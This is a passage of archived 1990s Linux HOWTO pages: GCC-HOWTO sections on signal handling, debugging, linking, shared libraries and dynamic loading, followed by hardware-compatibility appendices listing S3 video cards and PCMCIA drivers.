to
  signal (sig_nr, my_signal_handler);
  { struct sigaction sa;
    sigaction (sig_nr, (struct sigaction *)0, &sa);
#ifdef SA_RESTART
    sa.sa_flags |= SA_RESTART;
#endif
#ifdef SA_INTERRUPT
    sa.sa_flags &= ~ SA_INTERRUPT;
#endif
    sigaction (sig_nr, &sa, (struct sigaction *)0);
  }

Note that while this applies to most system calls, you must still check for EINTR yourself on read(), write(), ioctl(), select(), pause() and connect(). See below.

(2) Check for EINTR explicitly, yourself:

Here are two examples for read() and ioctl(),

Original piece of code using read()

int result;
while (len > 0) {
  result = read(fd,buffer,len);
  if (result < 0) break;
  buffer += result; len -= result;
}
becomes

int result;
while (len > 0) {
  result = read(fd,buffer,len);
  if (result < 0) { if (errno != EINTR) break; }
  else { buffer += result; len -= result; }
}
and a piece of code using ioctl()

int result;
result = ioctl(fd,cmd,addr);
becomes
int result;
do { result = ioctl(fd,cmd,addr); }
while ((result == -1) && (errno == EINTR));

Note that in some versions of BSD Unix the default behaviour is to restart system calls. To get system calls interrupted you have to use the SV_INTERRUPT or SA_INTERRUPT flag.

Writable strings (program seg faults randomly)

GCC has an optimistic view of its users, believing that they intend string constants to be exactly that --- constant. Thus, it stores them in the text (code) area of the program, where they can be paged in and out from the program's disk image (instead of taking up swapspace), and any attempt to rewrite them will cause a segmentation fault. This is a feature!

It may cause a problem for old programs that, for example, call mktemp() with a string constant as argument. mktemp() attempts to rewrite its argument in place.

To fix, either (a) compile with -fwritable-strings, to get gcc to put constants in data space, or (b) rewrite the offending parts to allocate a non-constant string and strcpy the data into it before calling.

Why does the execl() call fail?

Because you're calling it wrong. The first argument to execl is the program that you want to run. The second and subsequent arguments become the argv array of the program you're calling. Remember: argv[0] is traditionally set even when a program is run with `no' arguments. So, you should be writing

execl("/bin/ls","ls",NULL);
not just
execl("/bin/ls", NULL);

Executing the program with no arguments at all is construed as an invitation to print out its dynamic library dependencies, at least using a.out. ELF does things differently.

(If you want this library information, there are simpler interfaces; see the section on dynamic loading, or the manual page for ldd).

Prev | Home | Next
GCC installation and setup |  | Debugging and Profiling


Debugging and Profiling

Preventative maintenance (lint)

There is no widely-used lint for Linux, as most people are satisfied with the warnings that gcc can generate. Probably the most useful is the -Wall switch --- this stands for `Warnings, all' but probably has more mnemonic value if thought of as the thing you bang your head against.

There is a public domain lint available from . I don't know how good it is.

Debugging

How do I get debugging information into a program ?

You need to compile and link all its bits with the -g switch, and without the -fomit-frame-pointer switch. Actually, you don't need to recompile all of it, just the bits you're interested in debugging.

On a.out configurations the shared libraries are compiled with -fomit-frame-pointer, which gdb won't get on with. Giving the -g option when you link should imply static linking; this is why.

If the linker fails with a message about not finding libg.a, you don't have /usr/lib/libg.a, which is the special debugging-enabled C library. It may be supplied in the libc binary package, or (in newer C library versions) you may need to get the libc source code and build it yourself. You don't actually need it though; you can get enough information for most purposes simply by symlinking it to /usr/lib/libc.a

How do I get it out again?

A lot of GNU software comes set up to compile and link with -g, causing it to make very big (and often static) executables. This is not really such a hot idea.

If the program has an autoconf generated configure script, you can usually turn off debugging information by doing ./configure CFLAGS= or ./configure CFLAGS=-O2. Otherwise, check the Makefile. Of course, if you're using ELF, the program is dynamically linked regardless of the -g setting, so you can just strip it.

Available software

Most people use gdb, which you can get in source form from GNU archive sites, or as a binary from tsx-11 or sunsite. xxgdb is an X debugger based on this (i.e. you need gdb installed first). The source may be found at

Also, the UPS debugger has been ported by Rick Sladkey. It runs under X as well, but unlike xxgdb, it is not merely an X front end for a text based debugger. It has quite a number of nice features, and if you spend any time debugging stuff, you probably should check it out. The Linux precompiled version and patches for the stock UPS sources can be found in , and the original source at .

Another tool you might find useful for debugging is `strace', which displays the system calls that a process makes. It has a multiplicity of other uses too, including figuring out what pathnames were compiled into binaries that you don't have the source for, exacerbating race conditions in programs that you suspect contain them, and generally learning how things work. The latest version of strace (currently 3.0.8) can be found at .

Background (daemon) programs

Daemon programs typically execute fork() early, and terminate the parent. This makes for a short debugging session.

The simplest way to get around this is to set a breakpoint for fork, and when the program stops, force it to return 0.

(gdb) list
1       #include <stdio.h>
2
3       main()
4       {
5         if(fork()==0) printf("child\n");
6         else printf("parent\n");
7       }
(gdb) break fork
Breakpoint 1 at 0x80003b8
(gdb) run
Starting program: /home/dan/src/hello/./fork
Breakpoint 1 at 0x400177c4

Breakpoint 1, 0x400177c4 in fork ()
(gdb) return 0
Make selected stack frame return now? (y or n) y
#0  0x80004a8 in main ()
    at fork.c:5
5         if(fork()==0) printf("child\n");
(gdb) next
Single stepping until exit from function fork,
which has no line number information.
child
7       }

Core files

When Linux boots it is usually configured not to produce core files. If you like them, use your shell's builtin command to re-enable them: for C-shell compatibles (e.g. tcsh) this is
% limit core unlimited
while Bourne-like shells (sh, bash, zsh, pdksh) use
$ ulimit -c unlimited

If you want a bit more versatility in your core file naming (for example, if you're trying to conduct a post-mortem using a debugger that's buggy itself) you can make a simple mod to your kernel. Look for the code in fs/binfmt_aout.c and fs/binfmt_elf.c (in newer kernels, you'll have to grep around a little in older ones) that says

        memcpy(corefile,"core.",5);
#if 0
        memcpy(corefile+5,current->comm,sizeof(current->comm));
#else
        corefile[4] = '\0';
#endif

and change the 0s to 1s.

Profiling

Profiling is a way to examine which bits of a program are called most often or run for longest. It is a good way to optimize code and look at where time is being wasted. You must compile all object files that you require timing information for with -p, and to make sense of the output file you will also need gprof (from the binutils package). See the gprof manual page for details.

Prev | Home | Next
Porting and Compiling |  | Linking


Linking

Between the two incompatible binary formats, the static vs shared library distinction, and the overloading of the verb `link' to mean both `what happens after compilation' and `what happens when a compiled program is invoked' (and, actually, the overloading of the word `load' in a comparable but opposite sense), this section is complicated. Little of it is much more complicated than that sentence, though, so don't worry too much about it.

To alleviate the confusion somewhat, we refer to what happens at runtime as `dynamic loading' and cover it in the next section. You will also see it described as `dynamic linking', but not here. This section, then, is exclusively concerned with the kind of linking that happens at the end of a compilation.

Shared vs static libraries

The last stage of building a program is to `link' it; to join all the pieces of it together and see what is missing. Obviously there are some things that many programs will want to do --- open files, for example, and the pieces that do these things are provided for you in the form of libraries. On the average Linux system these can be found in /lib and /usr/lib/, among other places.

When using a static library, the linker finds the bits that the program modules need, and physically copies them into the executable output file that it generates. For shared libraries, it doesn't --- instead it leaves a note in the output saying `when this program is run, it will first have to load this library'. Obviously shared libraries tend to make for smaller executables; they also use less memory and mean that less disk space is used. The default behaviour of Linux is to link shared if it can find the shared libraries, static otherwise. If you're getting static binaries when you want shared, check that the shared library files (*.sa for a.out, *.so for ELF) are where they should be, and are readable.

On Linux, static libraries have names like libname.a, while shared libraries are called libname.so.x.y.z where x.y.z is some form of version number. Shared libraries often also have links pointing to them, which are important, and (on a.out configurations) associated .sa files. The standard libraries come in both shared and static formats.

You can find out what shared libraries a program requires by using ldd (List Dynamic Dependencies)
$ ldd /usr/bin/lynx
        libncurses.so.1 => /usr/lib/libncurses.so.1.9.6
        libc.so.5 => /lib/libc.so.5.2.18

This shows that on my system the WWW browser `lynx' depends on the presence of libc.so.5 (the C library) and libncurses.so.1 (used for terminal control). If a program has no dependencies, ldd will say `statically linked' or `statically linked (ELF)'.

Interrogating libraries (`which library is sin() in?')

nm libraryname should list all the symbols that libraryname has references to. It works on both static and shared libraries. Suppose that you want to know where tcgetattr() is defined: you might do

$ nm libncurses.so.1 |grep tcget
         U tcgetattr

The U stands for `undefined' --- it shows that the ncurses library uses but does not define it. You could also do

$ nm libc.so.5 | grep tcget
00010fe8 T __tcgetattr
00010fe8 W tcgetattr
00068718 T tcgetpgrp

The `W' stands for `weak', which means that the symbol is defined, but in such a way that it can be overridden by another definition in a different library. A straightforward `normal' definition (such as the one for tcgetpgrp) is marked by a `T'

The short answer to the question in the title, by the way, is libm.(so|a). All the functions defined in <math.h> are kept in the maths library; thus you need to link with -lm when using any of them.

Finding files

ld: Output file requires shared library `libfoo.so.1`

The file search strategy of ld and friends varies according to version, but the only default you can reasonably assume is /usr/lib. If you want libraries elsewhere to be searched, specify their directories with the -L option to gcc or ld.

If that doesn't help, check that you have the right file in that place. For a.out, linking with -lfoo makes ld look for libfoo.sa (shared stubs), and if unsuccessful then for libfoo.a (static). For ELF, it looks for libfoo.so then libfoo.a. libfoo.so is usually a symbolic link to libfoo.so.x.

Building your own libraries

Version control

As any other program, libraries tend to have bugs which get fixed over time. They also may introduce new features, change the effect of existing ones, or remove old ones. This could be a problem for programs using them; what if it was depending on that old feature?

So, we introduce library versioning. We categorise the changes that might be made to a library as `minor' or `major', and we rule that a `minor' change is not allowed to break old programs that are using the library. You can tell the version of a library by looking at its filename (actually, this is, strictly speaking, a lie for ELF; keep reading to find out why) : libfoo.so.1.2 has major version 1, minor version 2. The minor version number can be more or less anything --- libc puts a `patchlevel' in it, giving library names like libc.so.5.2.18, and it's also reasonable to put letters, underscores, or more or less any printable ASCII in it.

One of the major differences between ELF and a.out format is in building shared libraries. We look at ELF first, because it's simpler.

ELF? What is it then, anyway?

ELF (Executable and Linking Format) is a binary format originally developed by USL (UNIX System Laboratories) and currently used in Solaris and System V Release 4. Because of its increased flexibility over the older a.out format that Linux was using, the GCC and C library developers decided last year to move to using ELF as the Linux standard binary format also.

Come again?

This section is from the document '/news-archives/comp.sys.sun.misc'.

"ELF ("Executable Linking Format) is the "new, improved" object file format introduced in SVR4. ELF is much more powerful than straight COFF, in that it *is* user-extensible. ELF views an object-file as an arbitarily long list of sections (rather than an array of fixed size entities), these sections, unlike in COFF, do not HAVE to be in a certain place and do not HAVE to come in any specific order etc. Users can add new sections to object-files if they wish to capture new data. ELF also has a far more powerful debugging format called DWARF (Debugging With Attribute Record Format) - not currently fully supported on linux (but work is underway). A linked list of DWARF DIEs (or Debugging Information Entries) forms the .debug section in ELF. Instead of being a collection of small, fixed-size information records, DWARF DIEs each contain an arbitrarily long list of complex attributes and are written out as a scope-based tree of program data. DIEs can capture a large amount of information that the COFF .debug section simply couldn't (like C++ inheritance graphs etc.)." "ELF files are accessed via the SVR4 (Solaris 2.0 ?) ELF access library, which provides an easy and fast interface to the more gory parts of ELF. One of the major boons in using the ELF access library is that you will never need to look at an ELF file qua. UNIX file, it is accessed as an Elf *, after an elf_open() call and from then on, you perform elf_foobar() calls on its components instead of messing about with its actual on-disk image (something many COFFers did with impunity). "

The case for/against ELF, and the necessary contortions to upgrade an a.out system to support it, are covered in the ELF-HOWTO and I don't propose to cut/paste them here. The HOWTO should be available in the same place as you found this one.

ELF shared libraries

To build libfoo.so as a shared library, the basic steps look like this:

$ gcc -fPIC -c *.c
$ gcc -shared -Wl,-soname,libfoo.so.1 -o libfoo.so.1.0 *.o
$ ln -s libfoo.so.1.0 libfoo.so.1
$ ln -s libfoo.so.1 libfoo.so
$ LD_LIBRARY_PATH=`pwd`:$LD_LIBRARY_PATH ; export LD_LIBRARY_PATH

This will generate a shared library called libfoo.so.1.0, and the appropriate links for ld (libfoo.so) and the dynamic loader (libfoo.so.1) to find it. To test, we add the current directory to LD_LIBRARY_PATH.

When you're happpy that the library works, you'll have to move it to, say, /usr/local/lib, and recreate the appropriate links. The link from libfoo.so.1 to libfoo.so.1.0 is kept up to date by ldconfig, which on most systems is run as part of the boot process. The libfoo.so link must be updated manually. If you are scrupulous about upgrading all the parts of a library (e.g. the header files) at the same time, the simplest thing to do is make libfoo.so -> libfoo.so.1, so that ldconfig will keep both links current for you. If you aren't, you're setting yourself up to have all kinds of weird things happen at a later date. Don't say you weren't warned.

$ su
# cp libfoo.so.1.0 /usr/local/lib
# /sbin/ldconfig
# ( cd /usr/local/lib ; ln -s libfoo.so.1 libfoo.so )

Version numbering, sonames and symlinks

Each library has a soname. When the linker finds one of these in a library it is searching, it embeds the soname into the binary instead of the actual filename it is looking at. At runtime, the dynamic loader will then search for a file with the name of the soname, not the library filename. Thus a library called libfoo.so could have a soname libbar.so, and all programs linked to it would look for libbar.so instead when they started.

This sounds like a pointless feature, but it is key to understanding how multiple versions of the same library can coexist on a system. The de facto naming standard for libraries in Linux is to call the library, say, libfoo.so.1.2, and give it a soname of libfoo.so.1. If it's added to a `standard' library directory (e.g. /usr/lib), ldconfig will create a symlink libfoo.so.1 -> libfoo.so.1.2 so that the appropriate image is found at runtime. You also need a link libfoo.so -> libfoo.so.1 so that ld will find the right soname to use at link time.

So, when you fix bugs in the library, or add new functions (any changes that won't adversely affect existing programs), you rebuild it, keeping the soname as it was, and changing the filename. When you make changes to the library that would break existing binaries, you simply increment the number in the soname --- in this case, call the new version libfoo.so.2.0, and give it a soname of libfoo.so.2. Now switch the libfoo.so link to point to the new version and all's well with the world again.

Note that you don't have to name libraries this way, but it's a good convention. ELF gives you the flexibility to name libraries in ways that will confuse the pants off people, but that doesn't mean you have to use it.

Executive summary: supposing that you observe the tradition that major upgrades may break compatibility, minor upgrades may not, then link with

gcc -shared -Wl,-soname,libfoo.so.major -o libfoo.so.major.minor

and everything will be all right.

a.out. Ye olde traditional format

The ease of building shared libraries is a major reason for upgrading to ELF. That said, it's still possible in a.out. Get and read the 20 page document that you will find after unpacking it. I hate to be so transparently partisan, but it should be clear from context that I never bothered myself :-)

ZMAGIC vs QMAGIC

QMAGIC is an executable format just like the old a.out (also known as ZMAGIC) binaries, but which leaves the first page unmapped. This allows for easier NULL dereference trapping as no mapping exists in the range 0-4096. As a side effect your binaries are nominally smaller as well (by about 1K).

Obsolescent linkers support ZMAGIC only, semi-obsolescent support both formats, and current versions support QMAGIC only. This doesn't actually matter, though, as the kernel can still run both formats.

Your `file' command should be able to identify whether a program is QMAGIC.

File Placement

An a.out (DLL) shared library consists of two real files and a symlink. For the `foo' library used throughout this document as an example, these files would be libfoo.sa and libfoo.so.1.2; the symlink would be libfoo.so.1 and would point at the latter of the files. What are these for?

At compile time, ld looks for libfoo.sa. This is the `stub' file for the library, and contains all exported data and pointers to the functions required for run time linking.

At run time, the dynamic loader looks for libfoo.so.1. This is a symlink rather than a real file so that libraries can be updated with newer, bugfixed versions without crashing any application that was using the library at the time. After the new version --- say, libfoo.so.1.3 --- is completely there, running ldconfig will switch the link to point to it in one atomic operation, leaving any program which had the old version still perfectly happy.

DLL libraries (I know that's a tautology --- so sue me) often appear bigger than their static counterparts. They reserve space for future expansion in the form of `holes' which can be made to take no disk space. A simple cp call or using the program makehole will achieve this. You can also strip them after building, as the addresses are in fixed locations. Do not attempt to strip ELF libraries.

``libc-lite''?

A libc-lite is a light-weight version of the libc library built such that it will fit on a floppy and suffice for all of the most menial of UNIX tasks. It does not include curses, dbm, termcap etc code. If your /lib/libc.so.4 is linked to a lite lib, you are advised to replace it with a full version.

Linking: common problems

Send me your linking problems! I probably won't do anything about them, but I will write them up if I get enough ...

Programs link static when you wanted them shared

Check that you have the right links for ld to find each shared library. For ELF this means a libfoo.so symlink to the image, for a.out a libfoo.sa file. A lot of people had this problem after moving from ELF binutils 2.5 to 2.6 --- the earlier version searched more `intelligently' for shared libraries, so they hadn't created all the links. The intelligent behaviour was removed for compatibility with other architectures, and because quite often it got its assumptions wrong and caused more trouble than it solved.

The DLL tool `mkimage' fails to find libgcc, or

As of libc.so.4.5.x and above, libgcc is no longer shared. Hence you must replace occurrences of `-lgcc' on the offending line with `gcc -print-libgcc-file-name` (complete with the backquotes).

Also, delete all /usr/lib/libgcc* files. This is important.

__NEEDS_SHRLIB_libc_4 multiply defined messages

are another consequence of the same problem.

``Assertion failure'' message when rebuilding a DLL ?

This cryptic message most probably means that one of your jump table slots has overflowed because too little space has been reserved in the original jump.vars file. You can locate the culprit(s) by running the `getsize' command provided in the tools-2.17.tar.gz package. Probably the only solution, though, is to bump the major version number of the library, forcing it to be backward incompatible.

ld: output file needs shared library libc.so.4

This usually happens when you are linking with libraries other than libc (e.g. X libraries), and use the -g switch on the link line without also using -static.

The .sa stubs for the shared libraries usually have an undefined symbol _NEEDS_SHRLIB_libc_4 which gets resolved from the libc.sa stub. However with -g you end up linking with libg.a or libc.a and thus this symbol never gets resolved, leading to the above error message.

In conclusion, add -static when compiling with the -g flag, or don't link with -g. Quite often you can get enough debugging information by compiling the individual files with -g, and linking without it.

Prev | Home | Next
Debugging and Profiling |  | Dynamic Loading


Dynamic Loading

This section is a tad short right now; it will be expanded over time as I gut the ELF howto

Concepts

Linux has shared libraries, as you will by now be sick of hearing if you read the whole of the last section at a sitting. Some of the matching-names-to-places work which was traditionally done at link time must be deferred to load time.

Error messages

Send me your link errors! I won't do anything about them, but I might write them up ...

can't load library: /lib/libxxx.so, Incompatible version

(a.out only) This means that you don't have the correct major version of the xxx library. No, you can't just make a symlink to another version that you do have; if you are lucky this will cause your program to segfault. Get the new version. A similar situation with ELF will result in a message like

ftp: can't load library 'libreadline.so.2'

warning using incompatible library version xxx

(a.out only) You have an older minor version of the library than the person who compiled the program used. The program will still run. Probably. An upgrade wouldn't hurt, though.

Controlling the operation of the dynamic loader

There are a range of environment variables that the dynamic loader will respond to. Most of these are more use to ldd than they are to the average user, and can most conveniently be set by running ldd with various switches. They include

  • LD_BIND_NOW --- normally, functions are not `looked up' in libraries until they are called. Setting this flag causes all the lookups to happen when the library is loaded, giving a slower startup time. It's useful when you want to test a program to make sure that everything is linked.

  • LD_PRELOAD can be set to a file containing `overriding' function definitions. For example, if you were testing memory allocation strategies, and wanted to replace `malloc', you could write your replacement routine, compile it into malloc.o and then
    $ LD_PRELOAD=malloc.o; export LD_PRELOAD
$ some_test_program
    LD_ELF_PRELOAD and LD_AOUT_PRELOAD are similar, but only apply to the appropriate type of binary. If LD_something_PRELOAD and LD_PRELOAD are set, the more specific one is used.

  • LD_LIBRARY_PATH is a colon-separated list of directories in which to look for shared libraries. It does not affect ld; it only has effect at runtime. Also, it is disabled for programs that run setuid or setgid. Again, LD_ELF_LIBRARY_PATH and LD_AOUT_LIBRARY_PATH can also be used to direct the search differently for different flavours of binary. LD_LIBRARY_PATH shouldn't be necessary in normal operation; add the directories to /etc/ld.so.conf/ and rerun ldconfig instead.

  • LD_NOWARN applies to a.out only. When set (e.g. with LD_NOWARN=true; export LD_NOWARN) it stops the loader from issuing non-fatal warnings (such as minor version incompatibility messages).

  • LD_WARN applies to ELF only. When set, it turns the usually fatal ``Can't find library'' messages into warnings. It's not much use in normal operation, but important for ldd.

  • LD_TRACE_LOADED_OBJECTS applies to ELF only, and causes programs to think they're being run under ldd:
    $ LD_TRACE_LOADED_OBJECTS=true /usr/bin/lynx
        libncurses.so.1 => /usr/lib/libncurses.so.1.9.6
        libc.so.5 => /lib/libc.so.5.2.18

Writing programs with dynamic loading

This is very close to the way that Solaris 2.x dynamic loading support works, if you're familiar with that. It is covered extensively in H J Lu's ELF programming document, and the dlopen(3) manual page, which can be found in the ld.so package. Here's a nice simple example though: link it with -ldl

#include <dlfcn.h>
#include <stdio.h>

main()
{
  void *libc;
  void (*printf_call)();

  if(libc=dlopen("/lib/libc.so.5",RTLD_LAZY))
  {
    printf_call=dlsym(libc,"printf");
    (*printf_call)("hello, world\n");
  }

}

Prev | Home | Next
Linking |  | Contacting the developers


Contacting the developers

Bug reports

Start by narrowing the problem down. Is it specific to Linux, or does it happen with gcc on other systems? Is it specific to the kernel version? Library version? Does it go away if you link static? Can you trim the program down to something short that demonstrates the bug?

Having done that, you'll know what program(s) the bug is in. For GCC, the bug reporting procedure is explained in the info file. For ld.so or the C or maths libraries, send mail to linux-gcc@vger.rutgers.edu. If possible, include a short and self-contained program that exhibits the bug, and a description both of what you want it to do, and what it actually does.

Helping with development

If you want to help with the development effort for GCC or the C library, the first thing to do is join the linux-gcc@vger.rutgers.edu mailing list. If you just want to see what the discussion is about, there are list archives at . The second and subsequent things depend on what you want to do!

Prev | Home | Next
Dynamic Loading |  | The Remains


The Remains

The Credits

" Only presidents, editors, and people with tapeworms have the right to use the editorial ``we''." (Mark Twain)

This HOWTO is based very closely on Mitchum DSouza's GCC-FAQ; most of the information (not to mention a reasonable amount of the text) in it comes directly from that document. Instances of the first person pronoun in this HOWTO could refer to either of us; generally the ones that say ``I have not tested this; don't blame me if it toasts your hard disk/system/spouse'' apply to both of us.

Contributors to this document have included (in ASCII ordering by first name) Andrew Tefft, Axel Boldt, Bill Metzenthen, Bruce Evans, Bruno Haible, Daniel Barlow, Daniel Quinlan, David Engel, Dirk Hohndel, Eric Youngdale, Fergus Henderson, H.J. Lu, Jens Schweikhardt, Kai Petzke, Michael Meissner, Mitchum DSouza, Olaf Flebbe, Paul Gortmaker, Rik Faith, Steven S. Dick, Tuomas J Lukka, and of course Linus Torvalds, without whom the whole exercise would have been pointless, let alone impossible :-)

Please do not feel offended if your name has not appeared here and you have contributed to this document (either as HOWTO or as FAQ). Email me and I will rectify it.

Translations

  • French, Eric Dumas

    <dumas@freenix.fr>

    http://www.freenix.fr/unix/linux/HOWTO/GCC-HOWTO.html

  • Italian, Andrea Girotto

    <andrea.girotto@usa.net>

    http://www.pluto.linux.it/ildp/HOWTO/GCC-HOWTO.html

  • Japanese,

    <nakano@apm.seikei.ac.jp>

Feedback

is welcomed. Mail me at daniel.barlow@linux.org. My PGP public key (ID 5F263625) is available from my web pages, if you feel the need to be secretive about things.

Legalese

All trademarks used in this document are acknowledged as being owned by their respective owners.

This document is copyright (C) 1996,1999 Daniel Barlow <dan@detached.demon.co.uk>. It may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have questions, please contact Tim Bynum, the Linux HOWTO coordinator, at linux-howto@sunsite.unc.edu via email.

Prev | Home
Contacting the developers |


Appendix A. S3 cards supported by XFree86 3.3.x.

Linux Hardware Compatibility HOWTO
Prev Next

26. Appendix A. S3 cards supported by XFree86 3.3.x.

CHIPSET | RAMDAC | CLOCKCHIP | BPP | CARD
801/805 | AT&T 20C490 |  | 16 | Actix GE 32 / 32+ 2Mb
 |  |  |  | Orchid Fahrenheit 1280(+)
801/805 | AT&T 20C490 | ICD2061A | 16 | STB PowerGraph X.24
801/805 |  |  |  | Del S3 805
 |  |  |  | Miro Crystal 8S
 |  |  |  | Orchid Fahrenheit VA
 |  |  |  | VL-41
805 | S3 GENDAC |  | 16 | Miro 10SD VLB/PCI
 |  |  |  | SPEA Mirage VLB
801/805 | SS2410 | ICD2061A | 8 | Diamond Stealth 24 VLB/ISA
801/805 | AT&T 20C490 | Ch8391 | 16 | JAX 8231/8241, SPEA Mirage
801/805 | S3 GENDAC |  |  | Miro Crystal 10SD
805i |  |  |  | Actix GE 32i
 |  |  |  | ELSA Winner 1000 ISA
928 | AT&T 20C490 |  | 16 | Actix Ultra
928 | Sierra SC15025 | ICD2061A | 32 | ELSA Winner 1000 ISA/VLB/EISA
928 | Bt485 | ICD2061A | 32 | STB Pegasus VL
928 | Bt485 | SC11412 | 16 | SPEA(/V7) Mercury VLB
928 | Bt485 | ICD2061A | 32 | #9 GXE Level 10/11/12
928 | Ti3020 | ICD2061A | 32 | #9 GXE Level 14/16
928 |  |  |  | 928Movie
 |  |  |  | Diamond Stealth Pro
 |  |  |  | ELSA Winner 1000TwinBus
 |  |  |  | ELSA Winner 1000VL
 |  |  |  | ELSA Winner 2000
 |  |  |  | Miro Crystal 16S
864 |  | ICD2061A |  | Miro Crystal 20SD (BIOS 2.xx)
864 | AT&T 20C498 | ICS2494 | 32 | Miro (Crystal) 20SD (BIOS 1.xx)
864 | AT&T 20C498/ | ICD2061A/ | 32 | ELSA Winner 1000 PRO VLB/PCI
864 | STG1700 | ICS9161 |  | MIRO 20SD (BIOS 2.x)
 |  |  |  | ELAS Winner 1000 PRO
864 | STG1700 | ICD2061A | 32 | Actix GE 64 VLB
864 | AT&T 20C498/ | ICS2595 | 16 | SPEA(/V7) Mirage P64 DRAM (BIOS 3.x)
 | AT&T 21C498 |  |  |
864 | S3 86C716 SDAC |  | 32 | ELSA Winner 1000 PRO
 |  |  |  | Miro 20SD (BIOS 3.x)
 |  |  |  | SPEA Mirage P64 DRAM (BIOS 4.x)
 |  |  |  | Diamond Stealth 64 DRAM
 |  |  |  | Genoa Phantom 64i
 |  |  |  | Miro Crystal 20SD VLB (BIOS 3.xx)
864 | ICS5342 | ICS5342 | 32 | Diamond Stealth 64 DRAM (some)
864 | SDAC |  |  | Diamond Stealth 64 Graphics 2001
864 | AT&T 20C498-13 | ICD2061A | 32 | #9 GXE64 PCI
864 |  |  |  | ASUS Video Magic PCI V864
 |  |  |  | VidTech FastMax P20

CHIPSET | RAMDAC | CLOCKCHIP | BPP | CARD
964 |  |  |  | ELSA Winner 2000 PRO-2,4
 |  |  |  | spider Tarantula 64
964 | AT&T 20C505 | ICD2061A | 32 | Miro Crystal 20SV PCI/40SV
964 | Bt485 | ICD2061A | 32 | Diamond Stealth 64
964 | Bt9485 | ICS9161A | 32 | SPEA Mercury 64
964 | Ti3020 | ICD2061A | 8 | ELSA Winner 2000 PRO PCI
964 | Ti3025 | Ti3025 | 32 | #9 GXE64 Pro VLB/PCI
 |  |  |  | Miro Crystal 40SV
964 | IBM RGB |  | 32 | Hercules Graphite Terminator 64
868 | S3 86C716 SDAC |  | 32 | ELSA Winner 1000AVI
 |  |  |  | Miro Crystal 20SD PCI
868 | AT&T 29C409 |  |  | ELSA Winner 1000AVI
868 |  |  |  | Diamond Stealth Video DRAM
 |  |  |  | Diamond Stealth 64 Video 2120/2200
 |  |  |  | ELSA Winner 1000PRO/X
 |  |  |  | #9 FX Motion 531
 |  |  |  | VideoLogic GrafixStar 500
968 |  |  |  | Diamond Stealth 64 Video 3200
 |  |  |  | ELSA Gloria-4/8
 |  |  |  | ELSA Winner 2000AVI
 |  |  |  | ELSA Winner 2000PRO/X-2/X-4/X-8
 |  |  |  | Genoa VideoBlitz III AV
 |  |  |  | Hercules Graphite Terminator Pro 64
 |  |  |  | LeadTek WinFast S430
 |  |  |  | LeadTek WinFast S510
 |  |  |  | Miro Crystal 80SV
 |  |  |  | Miro Crystal 20SV
 |  |  |  | #9 FX Motion 771
 |  |  |  | VideoLogic GrafixStar 700
 |  |  |  | WinFast S430/S510
968 | TVP3026 |  | 32 | ELSA Winner 2000PRO/X
 |  |  |  | Diamond Stealth 64 Video VRAM
968 | IBM RGB |  | 32 | Genoa VideoBlitz III AVI
 |  |  |  | Hercules Terminator Pro 64
 |  |  |  | STB Velocity 64 Video
 |  |  |  | #9 FX Motion 771
 |  |  |  | Diamond Stealth 64 Video 3240/3400
968 | TI RAMDAC |  |  | Diamond Stealth 64 Video 3240/3400
732 | (Trio32) |  | 32 | Diamond Stealth 64 DRAM SE
 |  |  |  | (all Trio32 based cards)
764 | (Trio64) |  | 32 | SPEA Mirage P64 (BIOS 5.x)
 |  |  |  | Diamond Stealth 64 DRAM
 |  |  |  | Diamond Stealth 64 Graphics 2xx0
 |  |  |  | #9 FX Vision 330
 |  |  |  | STB PowerGraph 64
 |  |  |  | (all Trio64 based cards)

CHIPSET | RAMDAC | CLOCKCHIP | BPP | CARD
 | (Trio64V+) |  |  | DSV3326
 |  |  |  | Diamond Stealth 64 Video 2001
 |  |  |  | DataExpert DSV3365
 |  |  |  | ExpertColor DSV3365
 |  |  |  | MAXColor S3 Trio64V+
 |  |  |  | ELSA Winner 1000TRIO/V
 |  |  |  | Hercules Terminator 64/Video
 |  |  |  | #9 FX Motion 331
 |  |  |  | STB Powergraph 64 Video
 |  |  |  | VideoLogic GrafixStar 400
 | (Trio64V2) |  |  | ELSA Winner 1000/T2D
 | (ViRGE) |  |  | Canopus Co. Power Window 3DV
 |  |  |  | DSV3325
 |  |  |  | DataExpert DSV3325
 |  |  |  | Diamond Multimedia Stealth 3D 2000
 |  |  |  | Diamond Multimedia Stealth 3D 2000 PRO
 |  |  |  | Diamond Stealth 3D 2000
 |  |  |  | Diamond Stealth 3D 2000 PRO
 |  |  |  | Diamond Stealth 3D 3000
 |  |  |  | ELSA Victory 3D
 |  |  |  | ELSA Victory 3DX
 |  |  |  | ELSA Winner 3000-S
 |  |  |  | Expertcolor DSV3325
 |  |  |  | Hercules Terminator 64/3D
 |  |  |  | LeadTek WinFast 3D S600
 |  |  |  | MELCO WGP-VG4S
 |  |  |  | #9 FX Motion 332
 |  |  |  | Orchid Tech. Fahrenheit Video 3D
 |  |  |  | STB systems Powergraph 3D
 |  |  |  | WinFast 3D S600
 | (ViRGE/DX) |  |  | Hercules Terminator 3D/DX
 | (ViRGE/GX) |  |  | STB Nitro 3D
 | (ViRGE/VX) |  |  | ELSA Winner 2000AVI/3D
 |  |  |  | ELSA Winner 3000
 |  |  |  | ELSA Winner 3000-L-42/-M-22
 |  |  |  | MELCO WGP-VX8
 |  |  |  | STB Systems Velocity 3D
911/924 |  |  |  | Diamond Stealth VRAM
924 | SC1148 DAC |  |  |

NOTE: for the ViRGE/VX,DX,GX,GX2 chipsets you need XFree86 3.3.1 or newer. You should use the XF86_SVGA server.

Prev | Home | Next
Other hardware |  | Appendix B. Supported PCMCIA cards


Appendix B. Supported PCMCIA cards

Linux Hardware Compatibility HOWTO
Prev Next

27. Appendix B. Supported PCMCIA cards

These cards are supported by David Hinds' PCMCIA package and this list is taken from his web page ( here).

CardBus cards are listed at the end of each section. At this time, all CardBus drivers should be treated as experimental. Beware that some cards have 16-bit and CardBus versions with very similar names. If the CardBus version is not specifically listed as supported here, then you should not expect it to work.

27.1. Ethernet cards

  • SMC, Megahertz and Ositech cards use the smc91c92_cs driver

  • 3Com and Farallon cards use the 3c589_cs driver

